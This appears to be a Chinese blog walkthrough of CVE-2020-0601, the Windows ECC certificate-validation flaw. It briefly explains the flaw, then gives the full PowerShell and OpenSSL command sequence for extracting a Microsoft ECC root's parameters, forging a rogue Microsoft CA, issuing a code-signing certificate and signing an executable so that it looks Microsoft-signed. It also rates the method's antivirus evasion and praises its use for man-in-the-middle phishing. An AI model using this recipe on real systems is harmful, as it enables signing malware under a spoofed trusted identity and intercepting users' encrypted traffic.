CVE-2020-0601

0x00 CVE-2020-0601 漏洞原理

引用我司大佬总结:
1.基础知识:
ECC私钥+椭圆曲线=ECC公钥

2.漏洞:
微软的私钥+微软选的椭圆曲线=微软根证书里面的公钥
黑客的私钥+黑客选的椭圆曲线=微软根证书里面的公钥
不同的椭圆曲线和不同的私钥,能产生值一模一样的公钥。
win10开始默认添加了微软的ECC根证书,在做证书链验证时,会一直验证到微软根证书里面的公钥的hash值,这个值直接写在了crypt32.dll里面,验证时没有对比是不是同一个椭圆曲线,只对比了公钥值就万事大吉了,导致了黑客拿自己的私钥随便签个名,都以为是微软自己签的。

3.win7受影响吗?
win7没有默认添加微软的ECC根证书,crypt32.dll里面也没这个hash值,没法直接对比通过。
结论:Windows 7不受影响

4.XP、2003受影响吗?
ECC是个什么鬼?

5.我能跑出微软根证书里面的私钥吗?
洗洗睡吧。

0x01 CVE-2020-0601 漏洞利用

首先来看下开源的工具:

https://github.com/kudelskisecurity/chainoffools

这个工具使用了 USERTrust ECC Certification Authority的证书来进行验证。
参照这款工具生成证书,并对exe进行签名,查看签名信息如下:
-w469

由于不存在根证书,所以会看到验证并没有通过,访问网站:
https://usertrustecccertificationauthority-ev.comodoca.com/
-w920
会在系统安装根证书,这样就会让签名正常。
-w886

如果要不安装别的证书让签名正常就需要寻找系统默认信任的ECC签名的根证书。

0x02 默认ECC签名根证书测试

首先,我们来查看一下默认有哪些根证书:

1
dir cert:\localmachine\root | Where-Object { $_.FriendlyName -like "*ECC*" }

-w974

可以看到这里面有3个系统默认的ECC签名的根证书。我们随意导出其中一个根证书:
cmd输入certmgr.msc打开证书管理,找到ECC签名根证书进行导出:
-w1174

导出直接选择Base64编码那个就行。

使用openssl查看证书信息:

1
openssl x509 -in ca.cer -text -noout

-w1179

查看gen-key.py 及README,这里我们需要提取证书的公钥 Public Key 和序列号Serial Number 以及Subject。

为了方便提取,可以使用powershell,这样就把所需要的内容提取出来了

1
dir cert:\localmachine\root | Where-Object { $_.FriendlyName -like "*ECC*" } | %{[bitconverter]::tostring($_.publickey.encodedkeyvalue.rawdata).replace('-','');$_.SerialNumber;$_.subject;"="*200}

-w1679

我们随意选择一个,比如:

1
04C711162A761D568EBEB96265D4C3CEB4F0C330EC8F6DD76E39BCC849ABABB8E34378D581065DEFC77D9FCED6B39075DE0CB090DE23BAC8D13E67E019A91B86311E5F342DEE17FD15FB7E278A32A1EAC98FC97E18CB2F3B2C487A7DA6F40107AC
14982666DC7CCD8F4053677BB999EC85
CN=Microsoft ECC Product Root Certificate Authority 2018, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

参照POC里面的README来进行生成:
生成key模版:

1
openssl ecparam -name secp384r1 -genkey -noout -out p384-key.pem -param_enc explicit

替换gen-key.py里面的公钥字符串。生成对应的私钥:

1
python gen-key.py

使用获取的序列号和subj生成假冒的CA

1
openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -set_serial 0x14982666DC7CCD8F4053677BB999EC85 -subj "/C=US/ST=Washington/L=Redmond/O=Microsoft Cor poratio/CN=Microsoft ECC TS Root Certificate Authority 2018"

接下来,就可以生成私钥和证书,在这里需要替换一下项目里面的openssl.cnf为以下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
[ req ]
default_bits = 2048 # RSA key size
encrypt_key = yes # Protect private key
default_md = sha1 # MD to use
utf8 = yes # Input is UTF-8
string_mask = utf8only # Emit UTF-8 strings
prompt = yes # Prompt for DN
distinguished_name = codesign_dn # DN template
req_extensions = codesign_reqext # Desired extensions

[ codesign_dn ]
countryName = "1. Country Name (2 letters) (eg, DK) "
countryName_max = 2
stateOrProvinceName = "2. State or Province Name (eg, Denmark) "
localityName = "3. Locality Name (eg, Copenhagen) "
organizationName = "4. Organization Name (eg, ollypwn) "
organizationalUnitName = "5. Organizational Unit Name (eg, ollypwn) "
commonName = "6. Common Name (eg, Olly Pwn)"
commonName_max = 64

[ codesign_reqext ]
basicConstraints = CA:FALSE
keyUsage = critical,digitalSignature
extendedKeyUsage = critical,codeSigning
subjectKeyIdentifier = hash

[ usr_cert ]
basicConstraints = CA:FALSE
keyUsage = digitalSignature
extendedKeyUsage = codeSigning
[ v3_req ]
keyUsage = critical,digitalSignature
extendedKeyUsage = critical,codeSigning

生成:

1
2
3
4
5
openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem

openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr -subj "/C=US/ST=Washington/L=Redmond/O=Microsoft Cor poration/CN=Microsoft ECC TS Root Certificate Authority 2018"

openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf

将证书转换为pkcs12:

1
openssl pkcs12 -export -in client-cert.pem -inkey prime256v1-privkey.pem -certfile ca-rogue.pem -out cert.p12

使用osslsigncode或者signtool签名:

1
osslsigncode sign -pkcs12 ./cert.p12 -t http://timestamp.verisign.com/scripts/timstamp.dll -in putty.exe -out putty_signed.exe

如果转换为pkcs12时添加了密码,签名的时候需要指定:

1
osslsigncode sign -pkcs12 ./cert.p12 -t http://timestamp.verisign.com/scripts/timstamp.dll -in putty.exe -out putty_signed.exe -pass 123123

将签名好的EXE放到未打补丁的Win10 上面查看签名信息:
-w916

0x03 关于HTTPS劫持

HTTPS劫持需要中间人,另外需要生成所需要的证书文件,生成方法可参考项目:

https://github.com/ollypwn/cve-2020-0601

结果如下图:
-w1464

0x04 总结

关于此漏洞,签名的二进制文件的免杀效果一般,但是结合中间人钓鱼还是很棒的。建议小伙伴们尽快升级系统。

------本文结束,感谢阅读------